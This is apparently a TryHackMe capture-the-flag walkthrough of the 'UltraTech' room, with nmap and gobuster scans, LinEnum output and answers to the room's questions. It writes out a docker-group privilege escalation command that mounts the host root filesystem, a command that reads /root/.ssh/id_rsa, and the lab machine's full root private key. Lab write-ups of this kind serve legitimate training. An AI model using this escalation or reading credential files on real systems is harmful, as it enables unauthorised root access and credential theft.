UltraTech

UltraTech

The basics of Penetration Testing, Enumeration, Privilege Escalation and WebApp testing

[Task 1] Deploy the machine

~_. UltraTech ._~

This room is inspired from real-life vulnerabilities and misconfigurations I encountered during security assessments.
If you get stuck at some point, take some time to keep enumerating.

[Your Mission]
You have been contracted by UltraTech to pentest their infrastructure.
It is a grey-box kind of assessment, the only information you have
is the company's name and their server's IP address.
Start this room by hitting the "deploy" button on the right!

Good luck and more importantly, have fun!

__
Lp1 <fenrir.pro>

[Extra Information]
If you have any comment or question regarding this room, you can contact me on **TryHackMe's Discord**.
- = - = - = - = - = - = - = - = - = - = - = - = - = - = - = - = - = - = - = - = - = - = - = - = - = - = -

#1
Deploy the machine

No answer needed

[Task 2] It's enumeration time!

After enumerating the services and resources available on this machine, what did you discover?
- = - = - = - = - = - = - = - = - = - = - = - = - = - = - = - = - = - = - = - = - = - = - = - = - = - = - = - = -
=
-

#1
Which software is using the port 8081?

node.js

#2
Which other non-standard port is used?

31331

#3
Which software using this port?

apache

#4
Which GNU/Linux distribution seems to be used?

ubuntu

#5
The software using the port 8080 is a REST api, how many of its routes are used by the web application?

2

nmap-scan(ALL-ports)

nmap -Pn -p- -v -A 10.10.11.9

Scanning 10.10.11.9 [65535 ports]
Discovered open port 21/tcp on 10.10.11.9
Discovered open port 22/tcp on 10.10.11.9
Discovered open port 31331/tcp on 10.10.11.9
Discovered open port 8081/tcp on 10.10.11.9

PORT STATE SERVICE VERSION

21/tcp open ftp vsftpd 3.0.3

22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 dc:66:89:85:e7:05:c2:a5:da:7f:01:20:3a:13:fc:27 (RSA)
| 256 c3:67:dd:26:fa:0c:56:92:f3:5b:a0:b3:8d:6d:20:ab (ECDSA)
|_ 256 11:9b:5a:d6:ff:2f:e4:49:d2:b5:17:36:0e:2f:1d:2f (ED25519)

8081/tcp open http Node.js Express framework
|_http-cors: HEAD GET POST PUT DELETE PATCH
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-title: Site doesn't have a title (text/html; charset=utf-8).

31331/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-favicon: Unknown favicon MD5: 15C1B7515662078EF4B5C724E2927A96
| http-methods:
|_ Supported Methods: OPTIONS HEAD GET POST
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: UltraTech - The best of technology (AI, FinTech, Big Data)

Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

gobuster-scan(port-31331)

gobuster dir -w /home/taj702/Desktop/wordlists/dirbuster/directory-list-1.0.txt -u http://10.10.11.9:31331

```
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url:          http://10.10.11.9:31331
[+] Threads:      10
[+] Wordlist:     /home/taj702/Desktop/wordlists/dirbuster/directory-list-1.0.txt
[+] Status codes: 200,204,301,302,307,401,403
[+] User Agent:   gobuster/3.0.1
[+] Timeout:      10s
===============================================================
2020/05/20 10:04:57 Starting gobuster
===============================================================
/images (Status: 301)
/css (Status: 301)
/js (Status: 301)
```

gobuster-scan(port-8081)

gobuster dir -w /home/taj702/Desktop/wordlists/dirbuster/directory-list-1.0.txt -u http://10.10.11.9:8081

```
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url:          http://10.10.11.9:8081
[+] Threads:      10
[+] Wordlist:     /home/taj702/Desktop/wordlists/dirbuster/directory-list-1.0.txt
[+] Status codes: 200,204,301,302,307,401,403
[+] User Agent:   gobuster/3.0.1
[+] Timeout:      10s
===============================================================
2020/05/20 10:13:06 Starting gobuster
===============================================================
/auth (Status: 200)
```

robots.txt

Allow: *
User-Agent: *
Sitemap: /utech_sitemap.txt

sitemap

/
/index.html
/what.html

/partners.html

[Task 3] Let the fun begin

Now that you know which services are available, it's time to exploit them!
Did you find somewhere you could try to login? Great!
Quick and dirty login implementations usually goes with poor data management.
There must be something you can do to explore this machine more thoroughly..
- = - = - = -

--in LinEnum output, we found that we are a member of the **docker group**
--found a reverse shell on GTFObins - **docker run -v /:/mnt --rm -it bash chroot /mnt sh**
-- get flag in /root/.ssh folder by running **cat /root/.ssh/id_rsa**

```
# cat /root/.ssh/id_rsa
 19:34:33 up 8 min,  1 user,  load average: 11.86, 10.56, 5.01
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
r00t     pts/0    10.8.3.117       19:29   16.00s 11.33s  9.49s docker run -v /:/mnt --rm -it bash chroot /mnt sh
# root
# -----BEGIN RSA PRIVATE KEY-----
```


MIIEogIBAAKCAQEAuDSna2F3pO8vMOPJ4l2PwpLFqMpy1SWYaaREhio64iM65HSm
sIOfoEC+vvs9SRxy8yNBQ2bx2kLYqoZpDJOuTC4Y7VIb+3xeLjhmvtNQGofffkQA
jSMMlh1MG14fOInXKTRQF8hPBWKB38BPdlNgm7dR5PUGFWni15ucYgCGq1Utc5PP
NZVxika+pr/U0Ux4620MzJW899lDG6orIoJo739fmMyrQUjKRnp8xXBv/YezoF8D
hQaP7omtbyo0dczKGkeAVCe6ARh8woiVd2zz5SHDoeZLe1ln4KSbIL3EiMQMzOpc
jNn7oD+rqmh/ygoXL3yFRAowi+LFdkkS0gqgmwIDAQABAoIBACbTwm5Z7xQu7m2J
tiYmvoSu10cK1UWkVQn/fAojoKHF90XsaK5QMDdhLlOnNXXRr1Ecn0cLzfLJoE3h
YwcpodWg6dQsOIW740Yu0Ulr1TiiZzOANfWJ679Akag7IK2UMGwZAMDikfV6nBGD
wbwZOwXXkEWIeC3PUedMf5wQrFI0mG+mRwWFd06xl6FioC9gIpV4RaZT92nbGfoM
BWr8KszHw0t7Cp3CT2OBzL2XoMg/NWFU0iBEBg8n8fk67Y59m49xED7VgupK5Ad1
5neOFdep8rydYbFpVLw8sv96GN5tb/i5KQPC1uO64YuC5ZOyKE30jX4gjAC8rafg
o1macDECgYEA4fTHFz1uRohrRkZiTGzEp9VUPNonMyKYHi2FaSTU1Vmp6A0vbBWW
tnuyiubefzK5DyDEf2YdhEE7PJbMBjnCWQJCtOaSCz/RZ7ET9pAMvo4MvTFs3I97
eDM3HWDdrmrK1hTaOTmvbV8DM9sNqgJVsH24ztLBWRRU4gOsP4a76s0CgYEA0LK/
/kh/lkReyAurcu7F00fIn1hdTvqa8/wUYq5efHoZg8pba2j7Z8g9GVqKtMnFA0w6
t1KmELIf55zwFh3i5MmneUJo6gYSXx2AqvWsFtddLljAVKpbLBl6szq4wVejoDye
lEdFfTHlYaN2ieZADsbgAKs27/q/ZgNqZVI+CQcCgYAO3sYPcHqGZ8nviQhFEU9r
4C04B/9WbStnqQVDoynilJEK9XsueMk/Xyqj24e/BT6KkVR9MeI1ZvmYBjCNJFX2
96AeOaJY3S1RzqSKsHY2QDD0boFEjqjIg05YP5y3Ms4AgsTNyU8TOpKCYiMnEhpD
kDKOYe5Zh24Cpc07LQnG7QKBgCZ1WjYUzBY34TOCGwUiBSiLKOhcU02TluxxPpx0
v4q2wW7s4m3nubSFTOUYL0ljiT+zU3qm611WRdTbsc6RkVdR5d/NoiHGHqqSeDyI
6z6GT3CUAFVZ01VMGLVgk91lNgz4PszaWW7ZvAiDI/wDhzhx46Ob6ZLNpWm6JWgo
gLAPAoGAdCXCHyTfKI/80YMmdp/k11Wj4TQuZ6zgFtUorstRddYAGt8peW3xFqLn
MrOulVZcSUXnezTs3f8TCsH1Yk/2ue8+GmtlZe/3pHRBW0YJIAaHWg5k2I3hsdAz
bPB7E9hlrI0AconivYDzfpxfX+vovlP/DdNVub/EO7JSO+RAmqo=

-----END RSA PRIVATE KEY-----

- = -

#1
What are the first 9 characters of the root user's private SSH key?

MIIEogIBA

LinEnum-scan

###
 # Local Linux Enumeration & Privilege Escalation Script #
###
 # www.rebootuser.com
 # version 0.982

[-] Debug Info
[+] Thorough tests = Disabled

Scan started at:
Wed May 20 18:34:54 UTC 2020

SYSTEM
[-] Kernel information:
Linux ultratech-prod 4.15.0-46-generic #49-Ubuntu SMP Wed Feb 6 09:33:07 UTC 2019 x86_64 x86_64 x86_64 GNU/-
Linux

[-] Kernel information (continued):
Linux version 4.15.0-46-generic (buildd@lgw01-amd64-038) (gcc version 7.3.0 (Ubuntu 7.3.0-16ubuntu3)) #49-Ubuntu SMP Wed Feb 6 09:33:07 UTC 2019

[-] Specific release information:
DISTRIB_ID=Ubuntu
DISTRIB_RELEASE=18.04
DISTRIB_CODENAME=bionic
DISTRIB_DESCRIPTION="Ubuntu 18.04.2 LTS"
NAME="Ubuntu"
VERSION="18.04.2 LTS (Bionic Beaver)"
ID=ubuntu
ID_LIKE=debian
PRETTY_NAME="Ubuntu 18.04.2 LTS"
VERSION_ID="18.04"
HOME_URL="https://www.ubuntu.com/"
SUPPORT_URL="https://help.ubuntu.com/"
BUG_REPORT_URL="https://bugs.launchpad.net/ubuntu/"
PRIVACY_POLICY_URL="https://www.ubuntu.com/legal/terms-and-policies/privacy-policy"
VERSION_CODENAME=bionic
UBUNTU_CODENAME=bionic

[-] Hostname:
ultratech-prod

USER/GROUP
[-] Current user/group info:
uid=1001(r00t) gid=1001(r00t) groups=1001(r00t),116(docker)

[-] Users that have previously logged onto the system:
Username Port From Latest
root tty1 Fri Mar 22 18:19:40 +0000 2019
lp1 tty1 Fri Mar 22 18:14:58 +0000 2019
r00t pts/0 10.8.3.117 Wed May 20 18:32:04 +0000 2020

[-] Who else is logged on:
18:34:56 up 5 min, 1 user, load average: 2.01, 2.13, 1.05
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
r00t pts/0 10.8.3.117 18:32 8.00s 1.34s 0.00s bash LinEnum.sh

[-] Group memberships:
uid=0(root) gid=0(root) groups=0(root)
uid=1(daemon) gid=1(daemon) groups=1(daemon)
uid=2(bin) gid=2(bin) groups=2(bin)
uid=3(sys) gid=3(sys) groups=3(sys)
uid=4(sync) gid=65534(nogroup) groups=65534(nogroup)
uid=5(games) gid=60(games) groups=60(games)
uid=6(man) gid=12(man) groups=12(man)
uid=7(lp) gid=7(lp) groups=7(lp)
uid=8(mail) gid=8(mail) groups=8(mail)
uid=9(news) gid=9(news) groups=9(news)
uid=10(uucp) gid=10(uucp) groups=10(uucp)
uid=13(proxy) gid=13(proxy) groups=13(proxy)
uid=33(www-data) gid=33(www-data) groups=33(www-data)
uid=34(backup) gid=34(backup) groups=34(backup)
uid=38(list) gid=38(list) groups=38(list)
uid=39(irc) gid=39(irc) groups=39(irc)
uid=41(gnats) gid=41(gnats) groups=41(gnats)
uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup)
uid=100(systemd-network) gid=102(systemd-network) groups=102(systemd-network)
uid=101(systemd-resolve) gid=103(systemd-resolve) groups=103(systemd-resolve)
uid=102(syslog) gid=106(syslog) groups=106(syslog),4(adm)
uid=103(messagebus) gid=107(messagebus) groups=107(messagebus)
uid=104(_apt) gid=65534(nogroup) groups=65534(nogroup)
uid=105(lxd) gid=65534(nogroup) groups=65534(nogroup)
uid=106(uuidd) gid=110(uuidd) groups=110(uuidd)
uid=107(dnsmasq) gid=65534(nogroup) groups=65534(nogroup)
uid=108(landscape) gid=112(landscape) groups=112(landscape)

uid=109(pollinate) gid=1(daemon) groups=1(daemon)
uid=110(sshd) gid=65534(nogroup) groups=65534(nogroup)
uid=1000(lp1) gid=1000(lp1) groups=1000(lp1),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),108(lxd)
uid=111(mysql) gid=113(mysql) groups=113(mysql)
uid=112(ftp) gid=115(ftp) groups=115(ftp)
uid=1001(r00t) gid=1001(r00t) groups=1001(r00t),116(docker)
uid=1002(www) gid=1002(www) groups=1002(www)

[-] It looks like we have some admin users:
uid=102(syslog) gid=106(syslog) groups=106(syslog),4(adm)
uid=1000(lp1) gid=1000(lp1) groups=1000(lp1),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),108(lxd)

[-] Contents of /etc/passwd:
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd/netif:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd/resolve:/usr/sbin/nologin
syslog:x:102:106::/home/syslog:/usr/sbin/nologin
messagebus:x:103:107::/nonexistent:/usr/sbin/nologin
_apt:x:104:65534::/nonexistent:/usr/sbin/nologin
lxd:x:105:65534::/var/lib/lxd/:/bin/false
uuidd:x:106:110::/run/uuidd:/usr/sbin/nologin
dnsmasq:x:107:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
landscape:x:108:112::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:109:1::/var/cache/pollinate:/bin/false
sshd:x:110:65534::/run/sshd:/usr/sbin/nologin
lp1:x:1000:1000:lp1:/home/lp1:/bin/bash
mysql:x:111:113:MySQL Server,,,:/nonexistent:/bin/false
ftp:x:112:115:ftp daemon,,,:/srv/ftp:/usr/sbin/nologin
r00t:x:1001:1001::/home/r00t:/bin/bash
www:x:1002:1002::/home/www:/bin/sh

[-] Super user account(s):
root

[-] Accounts that have recently used sudo:
/home/lp1/.sudo_as_admin_successful

[-] Are permissions on /home directories lax:
total 20K
drwxr-xr-x 5 root root 4.0K Mar 22 2019 .
drwxr-xr-x 23 root root 4.0K Mar 19 2019 ..
drwxr-xr-x 5 lp1 lp1 4.0K Mar 22 2019 lp1
drwxr-xr-x 5 r00t r00t 4.0K May 20 18:33 r00t
drwxr-xr-x 5 www www 4.0K Mar 22 2019 www

ENVIRONMENTAL
[-] Environment information:
SSH_CONNECTION=10.8.3.117 49728 10.10.39.113 22

```
LESSCLOSE=/usr/bin/lesspipe %s %s
LANG=en_US.UTF-8
OLDPWD=/home/r00t
XDG_SESSION_ID=1
USER=r00t
PWD=/tmp
HOME=/home/r00t
SSH_CLIENT=10.8.3.117 49728 22
XDG_DATA_DIRS=/usr/local/share:/usr/share:/var/lib/snapd/desktop
SSH_TTY=/dev/pts/0
MAIL=/var/mail/r00t
SHELL=/bin/bash
TERM=xterm-256color
SHLVL=2
 LOGNAME=r00t
XDG_RUNTIME_DIR=/run/user/1001
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin
LESSOPEN=| /usr/bin/lesspipe %s
_=/usr/bin/env
```

[-] Path information:

```
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin
drwxr-xr-x 2 root root  4096 Mar 22  2019 /bin
drwxr-xr-x 2 root root 12288 Mar 22  2019 /sbin
drwxr-xr-x 2 root root  4096 Mar 19  2019 /snap/bin
drwxr-xr-x 2 root root 32768 Mar 22  2019 /usr/bin
drwxr-xr-x 2 root root  4096 Apr 24  2018 /usr/games
drwxr-xr-x 2 root root  4096 Feb 14  2019 /usr/local/bin
drwxr-xr-x 2 root root  4096 Feb 14  2019 /usr/local/games
drwxr-xr-x 2 root root  4096 Feb 14  2019 /usr/local/sbin
drwxr-xr-x 2 root root  4096 Mar 22  2019 /usr/sbin
```

[-] Available shells:

```
# /etc/shells: valid login shells
/bin/sh
/bin/bash
/bin/rbash
/bin/dash
/usr/bin/tmux
/usr/bin/screen
```

[-] Current umask value:

```
0002
u=rwx,g=rwx,o=rx
```

[-] umask value as specified in /etc/login.defs:

```
UMASK           022
```

[-] Password and storage information:

```
 PASS_MAX_DAYS   99999
PASS_MIN_DAYS   0
PASS_WARN_AGE   7
ENCRYPT_METHOD SHA512
```

JOBS/TASKS

[-] Cron jobs:

```
-rw-r--r-- 1 root root  722 Nov 16  2017 /etc/crontab
```

/etc/cron.d:

```
total 24
drwxr-xr-x   2 root root 4096 Mar 19  2019 .
drwxr-xr-x 101 root root 4096 Mar 22  2019 ..
-rw-r--r--   1 root root  589 Jun 26  2018 mdadm
-rw-r--r--   1 root root  712 Jan 17  2018 php
-rw-r--r--   1 root root  102 Nov 16  2017 .placeholder
-rw-r--r--   1 root root  191 Feb 14  2019 popularity-contest
```

/etc/cron.daily:
```
 total 64
drwxr-xr-x   2 root root 4096 Mar 19  2019 .
drwxr-xr-x 101 root root 4096 Mar 22  2019 ..
-rwxr-xr-x   1 root root  539 Oct 10  2018 apache2
-rwxr-xr-x   1 root root  376 Nov 20  2017 apport
-rwxr-xr-x   1 root root 1478 Apr 20  2018 apt-compat
-rwxr-xr-x   1 root root  355 Dec 29  2017 bsdmainutils
-rwxr-xr-x   1 root root 1176 Nov  2  2017 dpkg
-rwxr-xr-x   1 root root  372 Aug 21  2017 logrotate
-rwxr-xr-x   1 root root 1065 Apr  7  2018 man-db
-rwxr-xr-x   1 root root  539 Jun 26  2018 mdadm
-rwxr-xr-x   1 root root  538 Mar  1  2018 mlocate
-rwxr-xr-x   1 root root  249 Jan 25  2018 passwd
-rw-r--r--   1 root root  102 Nov 16  2017 .placeholder
-rwxr-xr-x   1 root root 3477 Feb 21  2018 popularity-contest
-rwxr-xr-x   1 root root  246 Mar 21  2018 ubuntu-advantage-tools
-rwxr-xr-x   1 root root  214 Jun 27  2018 update-notifier-common
```

/etc/cron.hourly:
```
total 12
drwxr-xr-x   2 root root 4096 Feb 14  2019 .
drwxr-xr-x 101 root root 4096 Mar 22  2019 ..
-rw-r--r--   1 root root  102 Nov 16  2017 .placeholder
```

/etc/cron.weekly:
```
total 20
drwxr-xr-x   2 root root 4096 Feb 14  2019 .
drwxr-xr-x 101 root root 4096 Mar 22  2019 ..
-rwxr-xr-x   1 root root  723 Apr  7  2018 man-db
-rw-r--r--   1 root root  102 Nov 16  2017 .placeholder
-rwxr-xr-x   1 root root  211 Jun 27  2018 update-notifier-common
```

[-] Crontab contents:
```
 # /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.

SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

# m h dom mon dow user  command
17 *    * * *   root    cd / && run-parts --report /etc/cron.hourly
25 6    * * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6    * * 7   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6    1 * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
#
```

[-] Systemd timers:
```
NEXT                         LEFT         LAST                         PASSED             UNIT                         ACTIVATES
Wed 2020-05-20 18:39:00 UTC  3min 53s left Wed 2020-05-20 18:31:00 UTC  4min 5s ago
phpsessionclean.timer        phpsessionclean.service
 Wed 2020-05-20 18:44:25 UTC  9min left     n/a                          n/a                systemd-tmpfiles-clean.timer systemd-
tmpfiles-clean.service
Wed 2020-05-20 19:11:36 UTC  36min left    Tue 2019-03-19 14:56:19 UTC  1 years 2 months ago motd-
news.timer                motd-news.service
Mon 2020-05-25 00:00:00 UTC  4 days left   Wed 2020-05-20 18:31:00 UTC  4min 5s ago          fstrim.timer
fstrim.service
n/a                          n/a          Wed 2020-05-20 18:31:00 UTC  4min 5s ago          apt-daily-upgrade.timer      apt-daily-
upgrade.service
n/a                          n/a          Wed 2020-05-20 18:31:00 UTC  4min 5s ago          apt-daily.timer              apt-daily.service

6 timers listed.
Enable thorough tests to see inactive timers
```

NETWORKING
[-] Network and IP info:
```
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 9001
        inet 10.10.39.113  netmask 255.255.0.0  broadcast 10.10.255.255
        inet6 fe80::ef:39ff:fe08:8734  prefixlen 64  scopeid 0x20<link>
        ether 02:ef:39:08:87:34  txqueuelen 1000  (Ethernet)
        RX packets 381  bytes 79403 (79.4 KB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 444  bytes 44850 (44.8 KB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING>  mtu 65536
        inet 127.0.0.1  netmask 255.0.0.0
        inet6 ::1  prefixlen 128  scopeid 0x10<host>
        loop  txqueuelen 1000  (Local Loopback)
        RX packets 329  bytes 29830 (29.8 KB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 329  bytes 29830 (29.8 KB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0
```

[-] ARP history:
```
ip-10-10-0-1.eu-west-1.compute.internal (10.10.0.1) at 02:c8:85:b5:5a:aa [ether] on eth0
```

[-] Nameserver(s):
```
nameserver 127.0.0.53
```

[-] Nameserver(s):
```
 Global
        DNSSEC NTA: 10.in-addr.arpa
                    16.172.in-addr.arpa
                    168.192.in-addr.arpa
                    17.172.in-addr.arpa
                    18.172.in-addr.arpa
                    19.172.in-addr.arpa
                    20.172.in-addr.arpa
                    21.172.in-addr.arpa
                    22.172.in-addr.arpa
                    23.172.in-addr.arpa
                    24.172.in-addr.arpa
                    25.172.in-addr.arpa
                    26.172.in-addr.arpa
                    27.172.in-addr.arpa
                    28.172.in-addr.arpa
                    29.172.in-addr.arpa
                    30.172.in-addr.arpa
                    31.172.in-addr.arpa
                    corp
                     d.f.ip6.arpa
                    home
                    internal
                    intranet
                    lan
                    local
                    private
                    test

Link 2 (eth0)
      Current Scopes: DNS
       LLMNR setting: yes
MulticastDNS setting: no
     DNSSEC setting: no
   DNSSEC supported: no
        DNS Servers: 10.0.0.2
         DNS Domain: eu-west-1.compute.internal
```

[-] Default route:
```
default         ip-10-10-0-1.eu 0.0.0.0         UG    100    0        0 eth0
```

[-] Listening TCP:

Active Internet connections (only servers)

Proto	Recv-Q	Send-Q	Local Address	Foreign Address	State	PID/Program name
tcp	0	0	127.0.0.1:3306	0.0.0.0:*	LISTEN	-
tcp	0	0	127.0.0.53:53	0.0.0.0:*	LISTEN	-
tcp	0	0	0.0.0.0:22	0.0.0.0:*	LISTEN	-
tcp6	0	0	:::8081	:::*	LISTEN	-
tcp6	0	0	:::21	:::*	LISTEN	-
tcp6	0	0	:::22	:::*	LISTEN	-
tcp6	0	0	:::31331	:::*	LISTEN	-

[-] Listening UDP:

Active Internet connections (only servers)

Proto	Recv-Q	Send-Q	Local Address	Foreign Address	State	PID/Program name
udp	0	0	127.0.0.53:53	0.0.0.0:*	-	
udp	0	0	10.10.39.113:68	0.0.0.0:*	-	

SERVICES

[-] Running processes:

USER	PID	%CPU	%MEM	VSZ	RSS	TTY	STAT	START	TIME	COMMAND
root	1	7.7	1.2	225176	6096	?	Ss	18:29	0:26	/sbin/init maybe-ubiquity
root	2	0.0	0.0	0	0	?	S	18:29	0:00	[kthreadd]
root	4	0.0	0.0	0	0	?	I<	18:29	0:00	[kworker/0:0H]
root	5	0.0	0.0	0	0	?	I	18:29	0:00	[kworker/u30:0]
root	6	0.0	0.0	0	0	?	I<	18:29	0:00	[mm_percpu_wq]
root	7	0.1	0.0	0	0	?	S	18:29	0:00	[ksoftirqd/0]
root	8	0.0	0.0	0	0	?	I	18:29	0:00	[rcu_sched]
root	9	0.0	0.0	0	0	?	I	18:29	0:00	[rcu_bh]
root	10	0.0	0.0	0	0	?	S	18:29	0:00	[migration/0]
root	11	0.0	0.0	0	0	?	S	18:29	0:00	[watchdog/0]
root	12	0.0	0.0	0	0	?	S	18:29	0:00	[cpuhp/0]
root	13	0.0	0.0	0	0	?	S	18:29	0:00	[kdevtmpfs]
root	14	0.0	0.0	0	0	?	I<	18:29	0:00	[netns]
root	15	0.0	0.0	0	0	?	S	18:29	0:00	[rcu_tasks_kthre]
root	16	0.0	0.0	0	0	?	S	18:29	0:00	[kauditd]
root	17	0.0	0.0	0	0	?	S	18:29	0:00	[xenbus]
root	18	0.0	0.0	0	0	?	S	18:29	0:00	[xenwatch]
root	19	0.2	0.0	0	0	?	R	18:29	0:00	[kworker/0:1]
root	20	0.0	0.0	0	0	?	S	18:29	0:00	[khungtaskd]
root	21	0.0	0.0	0	0	?	S	18:29	0:00	[oom_reaper]
root	22	0.0	0.0	0	0	?	I<	18:29	0:00	[writeback]
root	23	0.0	0.0	0	0	?	S	18:29	0:00	[kcompactd0]
root	24	0.0	0.0	0	0	?	SN	18:29	0:00	[ksmd]
root	25	0.0	0.0	0	0	?	I<	18:29	0:00	[crypto]
root	26	0.0	0.0	0	0	?	I<	18:29	0:00	[kintegrityd]
root	27	0.0	0.0	0	0	?	I<	18:29	0:00	[kblockd]
root	28	0.0	0.0	0	0	?	I<	18:29	0:00	[ata_sff]
root	29	0.0	0.0	0	0	?	I<	18:29	0:00	[md]
root	30	0.0	0.0	0	0	?	I<	18:29	0:00	[edac-poller]
root	31	0.0	0.0	0	0	?	I<	18:29	0:00	[devfreq_wq]
root	32	0.0	0.0	0	0	?	I<	18:29	0:00	[watchdogd]
root	33	0.0	0.0	0	0	?	I	18:29	0:00	[kworker/u30:1]
root	35	1.8	0.0	0	0	?	S	18:29	0:05	[kswapd0]
root	36	0.0	0.0	0	0	?	S	18:29	0:00	[ecryptfs-kthrea]
root	78	0.0	0.0	0	0	?	I<	18:29	0:00	[kthrotld]
root	79	0.0	0.0	0	0	?	I<	18:29	0:00	[acpi_thermal_pm]
root	80	0.0	0.0	0	0	?	S	18:29	0:00	[scsi_eh_0]
root	81	0.0	0.0	0	0	?	I<	18:29	0:00	[scsi_tmf_0]
root	82	0.0	0.0	0	0	?	S	18:29	0:00	[scsi_eh_1]
root	83	0.0	0.0	0	0	?	I<	18:29	0:00	[scsi_tmf_1]
root	84	0.0	0.0	0	0	?	I	18:29	0:00	[kworker/u30:2]
root	85	0.0	0.0	0	0	?	I<	18:29	0:00	[kworker/0:1H]
root	89	0.0	0.0	0	0	?	I<	18:29	0:00	[ipv6_addrconf]
root	98	0.0	0.0	0	0	?	I<	18:29	0:00	[kstrp]
root	115	0.0	0.0	0	0	?	I<	18:29	0:00	[charger_manager]
root	152	0.0	0.0	0	0	?	I	18:29	0:00	[kworker/0:2]
root	166	0.0	0.0	0	0	?	I<	18:29	0:00	[ttm_swap]
root	194	0.0	0.0	0	0	?	I	18:29	0:00	[kworker/u30:3]

```
root      261  0.0  0.0      0     0 ?        I<   18:29   0:00 [raid5wq]
root      313  0.0  0.0      0     0 ?        S    18:29   0:00 [jbd2/xvda2-8]
root      314  0.0  0.0      0     0 ?        I<   18:29   0:00 [ext4-rsv-conver]
root      394  0.0  0.0      0     0 ?        I<   18:30   0:00 [iscsi_eh]
root      395  0.9  1.5 103044  7804 ?        S<s  18:30   0:03 /lib/systemd/systemd-journald
root      400  0.0  0.2  97708  1180 ?        Ss   18:30   0:00 /sbin/lvmetad -f
root      403  1.8  0.7  45672  3728 ?        Rs   18:30   0:05 /lib/systemd/systemd-udevd
root      404  0.0  0.0      0     0 ?        I<   18:30   0:00 [ib-comp-wq]
root      405  0.0  0.0      0     0 ?        I<   18:30   0:00 [ib_mcast]
root      406  0.0  0.0      0     0 ?        I<   18:30   0:00 [ib_nl_sa_wq]
root      407  0.0  0.0      0     0 ?        I<   18:30   0:00 [rdma_cm]
root      433  0.0  0.0      0     0 ?        S<   18:30   0:00 [loop0]
root      443  0.0  0.0      0     0 ?        S<   18:30   0:00 [loop1]
systemd+   456  0.2  0.2 141924  1336 ?        Ssl  18:30   0:00 /lib/systemd/systemd-timesyncd
systemd+   632  0.0  0.5  80036  2908 ?        Ss   18:30   0:00 /lib/systemd/systemd-networkd
systemd+   642  0.1  0.6  70624  3004 ?        Ss   18:30   0:00 /lib/systemd/systemd-resolved
root      695  0.0  0.0      0     0 ?        I    18:30   0:00 [kworker/u30:4]
root      720  0.7  2.3 169088 11548 ?        Ssl  18:31   0:01 /usr/bin/python3 /usr/bin/networkd-dispatcher --run-startup-
triggers
daemon    724  0.0  0.4  28332  2124 ?        Ss   18:31   0:00 /usr/sbin/atd -f
root      726  0.0  0.8  70588  4188 ?        Ss   18:31   0:00 /lib/systemd/systemd-logind
message+   728  0.0  0.7  50140  3796 ?        Rs   18:31   0:00 /usr/bin/dbus-daemon --system --address=systemd: --
nofork --nopidfile --systemd-activa$
root      742  0.0  0.2  95540  1440 ?        Ssl  18:31   0:00 /usr/bin/lxcfs /var/lib/lxcfs/
root      744  0.0  0.2  31872  1104 ?        Ss   18:31   0:00 /usr/sbin/inetd
root      745  0.0  0.5  30028  2708 ?        Ss   18:31   0:00 /usr/sbin/cron -f
root      751  0.1  0.8 286236  4412 ?        Ssl  18:31   0:00 /usr/lib/accountsservice/accounts-daemon
syslog    765  0.0  0.6 267272  3400 ?        Ssl  18:31   0:00 /usr/sbin/rsyslogd -n
